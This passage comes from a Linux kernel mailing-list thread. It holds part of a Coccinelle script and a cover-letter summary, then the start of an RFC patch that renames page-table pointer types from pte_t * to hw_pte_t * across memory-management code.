@@
R f(...,
- pte_t *x
+ hw_pte_t *x
,...)
{ ... }

@ret_proto depends on patch@
identifier f;
parameter list ps;
@@
- pte_t *
+ hw_pte_t *
  f(ps);

@ret_def depends on patch@
identifier f;
parameter list ps;
@@
- pte_t *
+ hw_pte_t *
  f(ps)
{ ... }

@struct_member depends on patch@
identifier S;
identifier x != ptentp;
@@
struct S {
...
- pte_t *x;
+ hw_pte_t *x;
...
};

@union_member depends on patch@
identifier x != ptentp;
@@
union {
...
- pte_t *x;
+ hw_pte_t *x;
...
};

@union_member_in_struct depends on patch@
identifier S;
identifier x != ptentp;
@@
struct S {
...
union {
...
- pte_t *x;
+ hw_pte_t *x;
...
};
...
};

@fnptr_struct_member depends on patch@
identifier S,f;
identifier x != ptentp;
type R;
@@
struct S {
...
R (*f)(...,
- pte_t *x
+ hw_pte_t *x
,...);
...
};

@fnptr_typedef_pte_fn_t depends on patch@
identifier x != ptentp;
@@
typedef int (*pte_fn_t)(...,
- pte_t *x
+ hw_pte_t *x
,...);

@cast depends on patch@
expression e;
@@
- (pte_t *)e
+ (hw_pte_t *)e

@remaining_decl depends on context || report@
identifier x != ptentp;
position p;
@@
* pte_t *x@p;

@remaining_decl_init depends on context || report@
identifier x != ptentp;
expression e;
position p;
@@
* pte_t *x@p = e;

@remaining_param_proto depends on context || report@
identifier f;
identifier x != ptentp;
type R;
position p;
@@
R f(...,
* pte_t *x@p
,...);

@remaining_param_proto_unnamed depends on context || report@
identifier f;
type R;
position p;
@@
R f(...,
* pte_t *@p
,...);

@remaining_param_def depends on context || report@
identifier f;
identifier x != ptentp;
type R;
position p;
@@
R f(...,
* pte_t *x@p
,...)
{ ... }

@remaining_ret_proto depends on context || report@
identifier f;
parameter list ps;
position p;
@@
* pte_t *f@p(ps);

@remaining_ret_def depends on context || report@
identifier f;
parameter list ps;
position p;
@@
* pte_t *f@p(ps)
{ ... }

@remaining_struct_member depends on context || report@
identifier S;
identifier x != ptentp;
position p;
@@
struct S {
...
* pte_t *x@p;
...
};

@remaining_union_member depends on context || report@
identifier x != ptentp;
position p;
@@
union {
...
* pte_t *x@p;
...
};

@remaining_union_member_in_struct depends on context || report@
identifier S;
identifier x != ptentp;
position p;
@@
struct S {
...
union {
...
* pte_t *x@p;
...
};
...
};

@remaining_fnptr_struct_member depends on context || report@
identifier S,f;
identifier x != ptentp;
type R;
position p;
@@
struct S {
...
R (*f)(...,
* pte_t *x@p
,...);
...
};

@remaining_fnptr_typedef_pte_fn_t depends on context || report@
identifier x != ptentp;
position p;
@@
typedef int (*pte_fn_t)(...,
* pte_t *x@p
,...);

Muhammad Usama Anjum (11):
  mm: introduce hw_pte_t for PTE table storage
  mm: make hw_pte_t visible to generic PTE interfaces
  mm: name pointers to copied PTE values ptentp
  mm: use hw_pte_t for generic PTE table storage
  mm: convert PTE table entries in ptep_get()
  mm/kasan: use hw_pte_t for the early shadow PTE table
  mm/mremap: use ptep_get() for the destination PTE
  drm/i915: use hw_pte_t for PTE range callbacks
  misc/sgi-gru: use ptep_get() for page-table reads
  parisc: use hw_pte_t for the data-break callback
  xen: use hw_pte_t for PTE range callbacks

 MAINTAINERS                                   |  1 +
 .../drm/i915/gem/selftests/i915_gem_mman.c    |  4 +-
 drivers/gpu/drm/i915/i915_mm.c                |  4 +-
 drivers/misc/sgi-gru/grufault.c               |  4 +-
 drivers/parisc/sba_iommu.c                    |  4 +-
 drivers/xen/gntdev.c                          |  2 +-
 drivers/xen/privcmd.c                         |  2 +-
 drivers/xen/xenbus/xenbus_client.c            |  2 +-
 drivers/xen/xlate_mmu.c                       |  4 +-
 fs/hugetlbfs/inode.c                          |  3 +-
 fs/proc/task_mmu.c                            | 39 ++++-----
 include/asm-generic/hugetlb.h                 | 15 ++--
 include/asm-generic/pgalloc.h                 |  6 +-
 include/asm-generic/tlb.h                     |  6 +-
 include/linux/hugetlb.h                       | 50 +++++++-----
 include/linux/kasan.h                         |  2 +-
 include/linux/mm.h                            | 26 +++---
 include/linux/page_table_check.h              | 10 ++-
 include/linux/pagewalk.h                      | 10 +--
 include/linux/pgtable.h                       | 81 ++++++++++---------
 include/linux/pgtable_types.h                 | 12 +++
 include/linux/rmap.h                          |  2 +-
 include/linux/swapops.h                       |  6 +-
 include/linux/vmalloc.h                       |  4 +-
 include/trace/events/xen.h                    | 10 +--
 kernel/bpf/arena.c                            |  9 ++-
 kernel/events/core.c                          |  3 +-
 mm/damon/ops-common.c                         |  2 +-
 mm/damon/ops-common.h                         |  2 +-
 mm/damon/vaddr.c                              | 20 ++---
 mm/debug_vm_pgtable.c                         |  2 +-
 mm/filemap.c                                  |  4 +-
 mm/gup.c                                      |  9 ++-
 mm/highmem.c                                  | 15 ++--
 mm/hmm.c                                      |  6 +-
 mm/huge_memory.c                              |  4 +-
 mm/hugetlb.c                                  | 60 +++++++-------
 mm/hugetlb_vmemmap.c                          | 13 +--
 mm/internal.h                                 | 16 ++--
 mm/kasan/init.c                               | 14 ++--
 mm/kasan/shadow.c                             |  6 +-
 mm/khugepaged.c                               | 23 +++---
 mm/ksm.c                                      | 11 +--
 mm/madvise.c                                  | 18 +++--
 mm/mapping_dirty_helpers.c                    |  4 +-
 mm/memory-failure.c                           |  6 +-
 mm/memory.c                                   | 78 +++++++++---------
 mm/mempolicy.c                                |  4 +-
 mm/migrate.c                                  |  4 +-
 mm/migrate_device.c                           |  4 +-
 mm/mincore.c                                  |  4 +-
 mm/mlock.c                                    |  4 +-
 mm/mprotect.c                                 | 19 ++---
 mm/mremap.c                                   |  6 +-
 mm/page_table_check.c                         |  4 +-
 mm/pagewalk.c                                 |  9 ++-
 mm/percpu.c                                   |  2 +-
 mm/pgtable-generic.c                          | 20 ++---
 mm/ptdump.c                                   |  4 +-
 mm/rmap.c                                     |  6 +-
 mm/sparse-vmemmap.c                           | 24 +++---
 mm/swap_state.c                               |  3 +-
 mm/swapfile.c                                 |  5 +-
 mm/userfaultfd.c                              | 32 ++++----
 mm/util.c                                     |  2 +-
 mm/vmalloc.c                                  | 13 +--
 mm/vmscan.c                                   |  6 +-
 67 files changed, 435 insertions(+), 374 deletions(-)
 create mode 100644 include/linux/pgtable_types.h

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 16:55:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 16:55:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371801.1619292 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcI-0007z7-PY; Mon, 27 Jul 2026 16:55:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371801.1619292; Mon, 27 Jul 2026 16:55:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcI-0007v3-HB; Mon, 27 Jul 2026 16:55:50 +0000
Received: by outflank-mailman (input) for mailman id 1371801;
 Mon, 27 Jul 2026 16:48:14 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <usama.anjum@arm.com>) id 1woOUw-0005kG-9Q
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:48:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woOUv-00CEGl-Ck
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 18:48:13 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bcd-2eae-0a2a0a5409dd-0a2a450ac90a-0
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:13 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bcc-f2d2-0a2a450a0019-d98c6eacb0e8-1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:12 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 9D2201688;
 Mon, 27 Jul 2026 09:48:07 -0700 (PDT)
Received: from e142334-100.cambridge.arm.com (e142334-100.cambridge.arm.com
 [10.2.198.93])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id CA1823F86F;
 Mon, 27 Jul 2026 09:48:02 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785170891; bh=rdg9lhJr8v9inhp/Wd317NTToqVY0l0LoMhRmLCNXtY=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=tzhdfOd5orC7dez+m5V9ZNeMkHg3q5qtv47NGfVx5oZEN+AmYausNKT9b3aXpxY1O
	 TkpWR6Mwcu5v7sfF6E9Bc/nebBmkCrrOct9t7tbIoTxD8NjvgJpRkB48vjzGRvvWuV
	 PNh117flsOguYQxmCthSXHqbgpQZ46PzPaq6nl6E=
From: Muhammad Usama Anjum <usama.anjum@arm.com>
To: Jani Nikula <jani.nikula@linux.intel.com>,
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
	Rodrigo Vivi <rodrigo.vivi@intel.com>,
	Tvrtko Ursulin <tursulin@ursulin.net>,
	David Airlie <airlied@gmail.com>,
	Simona Vetter <simona@ffwll.ch>,
	Dimitri Sivanich <dimitri.sivanich@hpe.com>,
	Arnd Bergmann <arnd@arndb.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Muchun Song <muchun.song@linux.dev>,
	Oscar Salvador <osalvador@suse.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	"Liam R. Howlett" <liam@infradead.org>,
	Lorenzo Stoakes <ljs@kernel.org>,
	Will Deacon <will@kernel.org>,
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
	Nick Piggin <npiggin@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Andrey Ryabinin <ryabinin.a.a@gmail.com>,
	David Hildenbrand <david@kernel.org>,
	Pasha Tatashin <pasha.tatashin@soleen.com>,
	Chris Li <chrisl@kernel.org>,
	Kairui Song <kasong@tencent.com>,
	Uladzislau Rezki <urezki@gmail.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Masami Hiramatsu <mhiramat@kernel.org>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>,
	Ingo Molnar <mingo@redhat.com>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	SJ Park <sj@kernel.org>,
	"Matthew Wilcox (Oracle)" <willy@infradead.org>,
	Jan Kara <jack@suse.cz>,
	Jason Gunthorpe <jgg@ziepe.ca>,
	Leon Romanovsky <leon@kernel.org>,
	Miaohe Lin <linmiaohe@huawei.com>,
	Dennis Zhou <dennis@kernel.org>,
	Tejun Heo <tj@kernel.org>,
	Christoph Lameter <cl@gentwo.org>,
	Mike Rapoport <rppt@kernel.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	ziy@nvidia.com,
	pfalcato@suse.de,
	agordeev@linux.ibm.com,
	ryan.roberts@arm.com
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
	linux-kernel@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	dri-devel@lists.freedesktop.org,
	linux-parisc@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-mm@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-arch@vger.kernel.org,
	kasan-dev@googlegroups.com,
	linux-trace-kernel@vger.kernel.org,
	bpf@vger.kernel.org,
	linux-perf-users@vger.kernel.org,
	damon@lists.linux.dev
Subject: [PATCH RFC 04/11] mm: use hw_pte_t for generic PTE table storage
Date: Mon, 27 Jul 2026 17:46:55 +0100
Message-ID: <20260727164715.2866609-5-usama.anjum@arm.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260727164715.2866609-1-usama.anjum@arm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1785170893-4ABD8F5C-82CD5C0A/0/0
X-purgate-type: clean
X-purgate-size: 122781

Generic page-table interfaces use pte_t * for both pointers to PTE table
storage and pointers to standalone PTE values. Convert the generic
declarations and their MM, fs, and kernel users together so parameters,
return types, callbacks, and local pointers that designate table storage
use hw_pte_t *.

Keep logical PTE values as pte_t and retain pte_t * for value interfaces.

The generic hw_pte_t definition remains an alias of pte_t, so this changes
the interface vocabulary without changing representation or behavior.

Most of this mechanical conversion was generated with the Coccinelle script
included in the cover letter. The script deliberately ignores pte_t *
pointers named ptentp because they designate standalone PTE values. The
result was then audited, and sites the script could not convert were
updated by hand.

Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
---
 fs/hugetlbfs/inode.c             |  3 +-
 fs/proc/task_mmu.c               | 39 ++++++++--------
 include/asm-generic/hugetlb.h    | 15 +++---
 include/asm-generic/pgalloc.h    |  6 +--
 include/asm-generic/tlb.h        |  6 ++-
 include/linux/hugetlb.h          | 50 +++++++++++---------
 include/linux/mm.h               | 26 +++++------
 include/linux/page_table_check.h |  8 ++--
 include/linux/pagewalk.h         |  8 ++--
 include/linux/pgtable.h          | 78 +++++++++++++++++---------------
 include/linux/rmap.h             |  2 +-
 include/linux/swapops.h          |  6 ++-
 include/linux/vmalloc.h          |  2 +-
 include/trace/events/xen.h       | 10 ++--
 kernel/bpf/arena.c               |  9 ++--
 kernel/events/core.c             |  3 +-
 mm/damon/ops-common.c            |  2 +-
 mm/damon/ops-common.h            |  2 +-
 mm/damon/vaddr.c                 | 20 ++++----
 mm/debug_vm_pgtable.c            |  2 +-
 mm/filemap.c                     |  4 +-
 mm/gup.c                         |  9 ++--
 mm/highmem.c                     | 15 +++---
 mm/hmm.c                         |  6 +--
 mm/huge_memory.c                 |  4 +-
 mm/hugetlb.c                     | 60 ++++++++++++------------
 mm/hugetlb_vmemmap.c             | 13 +++---
 mm/internal.h                    | 16 +++----
 mm/kasan/init.c                  | 12 ++---
 mm/kasan/shadow.c                |  6 +--
 mm/khugepaged.c                  | 23 +++++-----
 mm/ksm.c                         |  7 +--
 mm/madvise.c                     | 14 +++---
 mm/mapping_dirty_helpers.c       |  4 +-
 mm/memory-failure.c              |  6 +--
 mm/memory.c                      | 78 ++++++++++++++++----------------
 mm/mempolicy.c                   |  4 +-
 mm/migrate.c                     |  4 +-
 mm/migrate_device.c              |  4 +-
 mm/mincore.c                     |  4 +-
 mm/mlock.c                       |  4 +-
 mm/mprotect.c                    | 19 ++++----
 mm/mremap.c                      |  4 +-
 mm/page_table_check.c            |  4 +-
 mm/pagewalk.c                    |  9 ++--
 mm/percpu.c                      |  2 +-
 mm/pgtable-generic.c             | 20 ++++----
 mm/ptdump.c                      |  2 +-
 mm/rmap.c                        |  6 +--
 mm/sparse-vmemmap.c              | 24 +++++-----
 mm/swap_state.c                  |  3 +-
 mm/swapfile.c                    |  5 +-
 mm/userfaultfd.c                 | 32 +++++++------
 mm/util.c                        |  2 +-
 mm/vmalloc.c                     | 13 +++---
 mm/vmscan.c                      |  6 +--
 56 files changed, 395 insertions(+), 350 deletions(-)

diff --git a/fs/hugetlbfs/inode.c b/fs/hugetlbfs/inode.c
index a578fba8e2fca..03a538352229b 100644
--- a/fs/hugetlbfs/inode.c
+++ b/fs/hugetlbfs/inode.c
@@ -328,7 +328,8 @@ static void hugetlb_delete_from_page_cache(struct folio *folio)
 static bool hugetlb_vma_maps_pfn(struct vm_area_struct *vma,
 				unsigned long addr, unsigned long pfn)
 {
-	pte_t *ptep, pte;
+	hw_pte_t *ptep;
+	pte_t pte;
 
 	ptep = hugetlb_walk(vma, addr, huge_page_size(hstate_vma(vma)));
 	if (!ptep)
diff --git a/fs/proc/task_mmu.c b/fs/proc/task_mmu.c
index 817e3e0f91943..ff5ef88148b8a 100644
--- a/fs/proc/task_mmu.c
+++ b/fs/proc/task_mmu.c
@@ -1046,7 +1046,7 @@ static void smaps_pte_hole_lookup(unsigned long addr, struct mm_walk *walk)
 #endif
 }
 
-static void smaps_pte_entry(pte_t *pte, unsigned long addr,
+static void smaps_pte_entry(hw_pte_t *pte, unsigned long addr,
 		struct mm_walk *walk)
 {
 	struct mem_size_stats *mss = walk->private;
@@ -1140,7 +1140,7 @@ static int smaps_pte_range(pmd_t *pmd, unsigned long addr, unsigned long end,
 			   struct mm_walk *walk)
 {
 	struct vm_area_struct *vma = walk->vma;
-	pte_t *pte;
+	hw_pte_t *pte;
 	spinlock_t *ptl;
 
 	ptl = pmd_trans_huge_lock(pmd, vma);
@@ -1263,7 +1263,7 @@ static void show_smap_vma_flags(struct seq_file *m, struct vm_area_struct *vma)
 }
 
 #ifdef CONFIG_HUGETLB_PAGE
-static int smaps_hugetlb_range(pte_t *pte, unsigned long hmask,
+static int smaps_hugetlb_range(hw_pte_t *pte, unsigned long hmask,
 				 unsigned long addr, unsigned long end,
 				 struct mm_walk *walk)
 {
@@ -1704,7 +1704,7 @@ static inline bool pte_is_pinned(struct vm_area_struct *vma, unsigned long addr,
 }
 
 static inline void clear_soft_dirty(struct vm_area_struct *vma,
-		unsigned long addr, pte_t *pte)
+		unsigned long addr, hw_pte_t *pte)
 {
 	if (!pgtable_supports_soft_dirty())
 		return;
@@ -1772,7 +1772,8 @@ static int clear_refs_pte_range(pmd_t *pmd, unsigned long addr,
 {
 	struct clear_refs_private *cp = walk->private;
 	struct vm_area_struct *vma = walk->vma;
-	pte_t *pte, ptent;
+	hw_pte_t *pte;
+	pte_t ptent;
 	spinlock_t *ptl;
 	struct folio *folio;
 
@@ -2172,7 +2173,7 @@ static int pagemap_pmd_range(pmd_t *pmdp, unsigned long addr, unsigned long end,
 	struct vm_area_struct *vma = walk->vma;
 	struct pagemapread *pm = walk->private;
 	spinlock_t *ptl;
-	pte_t *pte, *orig_pte;
+	hw_pte_t *pte, *orig_pte;
 	int err = 0;
 
 #ifdef CONFIG_TRANSPARENT_HUGEPAGE
@@ -2210,7 +2211,7 @@ static int pagemap_pmd_range(pmd_t *pmdp, unsigned long addr, unsigned long end,
 
 #ifdef CONFIG_HUGETLB_PAGE
 /* This function walks within one hugetlb entry in the single call */
-static int pagemap_hugetlb_range(pte_t *ptep, unsigned long hmask,
+static int pagemap_hugetlb_range(hw_pte_t *ptep, unsigned long hmask,
 				 unsigned long addr, unsigned long end,
 				 struct mm_walk *walk)
 {
@@ -2501,7 +2502,7 @@ static unsigned long pagemap_page_category(struct pagemap_scan_private *p,
 }
 
 static void make_uffd_wp_pte(struct vm_area_struct *vma,
-			     unsigned long addr, pte_t *pte, pte_t ptent)
+			     unsigned long addr, hw_pte_t *pte, pte_t ptent)
 {
 	if (pte_present(ptent)) {
 		pte_t old_pte;
@@ -2634,7 +2635,7 @@ static unsigned long pagemap_hugetlb_category(struct vm_area_struct *vma,
 }
 
 static void make_uffd_wp_huge_pte(struct vm_area_struct *vma,
-				  unsigned long addr, pte_t *ptep,
+				  unsigned long addr, hw_pte_t *ptep,
 				  pte_t ptent)
 {
 	const unsigned long psize = huge_page_size(hstate_vma(vma));
@@ -2868,7 +2869,7 @@ static int pagemap_scan_pmd_entry(pmd_t *pmd, unsigned long start,
 	struct pagemap_scan_private *p = walk->private;
 	struct vm_area_struct *vma = walk->vma;
 	unsigned long addr, flush_end = 0;
-	pte_t *pte, *start_pte;
+	hw_pte_t *pte, *start_pte;
 	spinlock_t *ptl;
 	int ret;
 
@@ -2962,7 +2963,7 @@ static int pagemap_scan_pmd_entry(pmd_t *pmd, unsigned long start,
 }
 
 #ifdef CONFIG_HUGETLB_PAGE
-static int pagemap_scan_hugetlb_entry(pte_t *ptep, unsigned long hmask,
+static int pagemap_scan_hugetlb_entry(hw_pte_t *ptep, unsigned long hmask,
 				      unsigned long start, unsigned long end,
 				      struct mm_walk *walk)
 {
@@ -3043,7 +3044,7 @@ static int pagemap_scan_hugetlb_hole_wp(struct vm_area_struct *vma,
 	unsigned long psize = huge_page_size(h);
 	struct mm_struct *mm = vma->vm_mm;
 	spinlock_t *ptl;
-	pte_t *ptep;
+	hw_pte_t *ptep;
 	pte_t pte;
 
 	for (addr = ALIGN_DOWN(addr, psize); addr < end; addr += psize) {
@@ -3427,8 +3428,8 @@ static int gather_pte_stats(pmd_t *pmd, unsigned long addr,
 	struct numa_maps *md = walk->private;
 	struct vm_area_struct *vma = walk->vma;
 	spinlock_t *ptl;
-	pte_t *orig_pte;
-	pte_t *pte;
+	hw_pte_t *orig_pte;
+	hw_pte_t *pte;
 
 #ifdef CONFIG_TRANSPARENT_HUGEPAGE
 	ptl = pmd_trans_huge_lock(pmd, vma);
@@ -3461,8 +3462,9 @@ static int gather_pte_stats(pmd_t *pmd, unsigned long addr,
 	return 0;
 }
 #ifdef CONFIG_HUGETLB_PAGE
-static int gather_hugetlb_stats(pte_t *pte, unsigned long hmask,
-		unsigned long addr, unsigned long end, struct mm_walk *walk)
+static int gather_hugetlb_stats(hw_pte_t *pte, unsigned long hmask,
+				unsigned long addr, unsigned long end,
+				struct mm_walk *walk)
 {
 	pte_t huge_pte;
 	struct numa_maps *md;
@@ -3484,8 +3486,9 @@ static int gather_hugetlb_stats(pte_t *pte, unsigned long hmask,
 }
 
 #else
-static int gather_hugetlb_stats(pte_t *pte, unsigned long hmask,
-		unsigned long addr, unsigned long end, struct mm_walk *walk)
+static int gather_hugetlb_stats(hw_pte_t *pte, unsigned long hmask,
+				unsigned long addr, unsigned long end,
+				struct mm_walk *walk)
 {
 	return 0;
 }
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 635c41cc34797..07dc4acd8eec8 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -60,7 +60,7 @@ static inline int huge_pte_uffd(pte_t pte)
 
 #ifndef __HAVE_ARCH_HUGE_PTE_CLEAR
 static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
-		    pte_t *ptep, unsigned long sz)
+		    hw_pte_t *ptep, unsigned long sz)
 {
 	pte_clear(mm, addr, ptep);
 }
@@ -68,7 +68,7 @@ static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 
 #ifndef __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-		pte_t *ptep, pte_t pte, unsigned long sz)
+		hw_pte_t *ptep, pte_t pte, unsigned long sz)
 {
 	set_pte_at(mm, addr, ptep, pte);
 }
@@ -76,7 +76,7 @@ static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 
 #ifndef __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-		unsigned long addr, pte_t *ptep, unsigned long sz)
+		unsigned long addr, hw_pte_t *ptep, unsigned long sz)
 {
 	return ptep_get_and_clear(mm, addr, ptep);
 }
@@ -84,7 +84,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 
 #ifndef __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline pte_t huge_ptep_clear_flush(struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep)
+		unsigned long addr, hw_pte_t *ptep)
 {
 	return ptep_clear_flush(vma, addr, ptep);
 }
@@ -99,7 +99,7 @@ static inline int huge_pte_none(pte_t pte)
 
 #ifndef __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-		unsigned long addr, pte_t *ptep)
+		unsigned long addr, hw_pte_t *ptep)
 {
 	ptep_set_wrprotect(mm, addr, ptep);
 }
@@ -107,7 +107,7 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 
 #ifndef __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep,
+		unsigned long addr, hw_pte_t *ptep,
 		pte_t pte, int dirty)
 {
 	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
@@ -115,7 +115,8 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 #endif
 
 #ifndef __HAVE_ARCH_HUGE_PTEP_GET
-static inline pte_t huge_ptep_get(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
+static inline pte_t huge_ptep_get(struct mm_struct *mm, unsigned long addr,
+				  hw_pte_t *ptep)
 {
 	return ptep_get(ptep);
 }
diff --git a/include/asm-generic/pgalloc.h b/include/asm-generic/pgalloc.h
index 051aa1331051c..b35e5a2158ada 100644
--- a/include/asm-generic/pgalloc.h
+++ b/include/asm-generic/pgalloc.h
@@ -16,7 +16,7 @@
  *
  * Return: pointer to the allocated memory or %NULL on error
  */
-static inline pte_t *__pte_alloc_one_kernel_noprof(struct mm_struct *mm)
+static inline hw_pte_t *__pte_alloc_one_kernel_noprof(struct mm_struct *mm)
 {
 	struct ptdesc *ptdesc = pagetable_alloc_noprof(GFP_PGTABLE_KERNEL, 0);
 
@@ -40,7 +40,7 @@ static inline pte_t *__pte_alloc_one_kernel_noprof(struct mm_struct *mm)
  *
  * Return: pointer to the allocated memory or %NULL on error
  */
-static inline pte_t *pte_alloc_one_kernel_noprof(struct mm_struct *mm)
+static inline hw_pte_t *pte_alloc_one_kernel_noprof(struct mm_struct *mm)
 {
 	return __pte_alloc_one_kernel_noprof(mm);
 }
@@ -52,7 +52,7 @@ static inline pte_t *pte_alloc_one_kernel_noprof(struct mm_struct *mm)
  * @mm: the mm_struct of the current context
  * @pte: pointer to the memory containing the page table
  */
-static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
+static inline void pte_free_kernel(struct mm_struct *mm, hw_pte_t *pte)
 {
 	pagetable_dtor_free(virt_to_ptdesc(pte));
 }
diff --git a/include/asm-generic/tlb.h b/include/asm-generic/tlb.h
index bdcc2778ac64f..8cbc9cbf2ea04 100644
--- a/include/asm-generic/tlb.h
+++ b/include/asm-generic/tlb.h
@@ -644,7 +644,9 @@ static inline void tlb_flush_p4d_range(struct mmu_gather *tlb,
 }
 
 #ifndef __tlb_remove_tlb_entry
-static inline void __tlb_remove_tlb_entry(struct mmu_gather *tlb, pte_t *ptep, unsigned long address)
+static inline void __tlb_remove_tlb_entry(struct mmu_gather *tlb,
+					  hw_pte_t *ptep,
+					  unsigned long address)
 {
 }
 #endif
@@ -670,7 +672,7 @@ static inline void __tlb_remove_tlb_entry(struct mmu_gather *tlb, pte_t *ptep, u
  * consecutive ptes instead of only a single one.
  */
 static inline void tlb_remove_tlb_entries(struct mmu_gather *tlb,
-		pte_t *ptep, unsigned int nr, unsigned long address)
+		hw_pte_t *ptep, unsigned int nr, unsigned long address)
 {
 	tlb_flush_pte_range(tlb, address, PAGE_SIZE * nr);
 	for (;;) {
diff --git a/include/linux/hugetlb.h b/include/linux/hugetlb.h
index 16c4c4caa126c..bc0b9c65aa1d0 100644
--- a/include/linux/hugetlb.h
+++ b/include/linux/hugetlb.h
@@ -141,7 +141,7 @@ unsigned long hugetlb_total_pages(void);
 vm_fault_t hugetlb_fault(struct mm_struct *mm, struct vm_area_struct *vma,
 			unsigned long address, unsigned int flags);
 #ifdef CONFIG_USERFAULTFD
-int hugetlb_mfill_atomic_pte(pte_t *dst_pte,
+int hugetlb_mfill_atomic_pte(hw_pte_t *dst_pte,
 			     struct vm_area_struct *dst_vma,
 			     unsigned long dst_addr,
 			     unsigned long src_addr,
@@ -161,7 +161,7 @@ void hugetlb_fix_reserve_counts(struct inode *inode);
 extern struct mutex *hugetlb_fault_mutex_table;
 u32 hugetlb_fault_mutex_hash(struct address_space *mapping, pgoff_t idx);
 
-pte_t *huge_pmd_share(struct mm_struct *mm, struct vm_area_struct *vma,
+hw_pte_t *huge_pmd_share(struct mm_struct *mm, struct vm_area_struct *vma,
 		      unsigned long addr, pud_t *pud);
 bool hugetlbfs_pagecache_present(struct hstate *h,
 				 struct vm_area_struct *vma,
@@ -186,22 +186,22 @@ void hugetlb_bootmem_set_nodes(void);
  * which may go down to the lowest PTE level in their huge_pte_offset() and
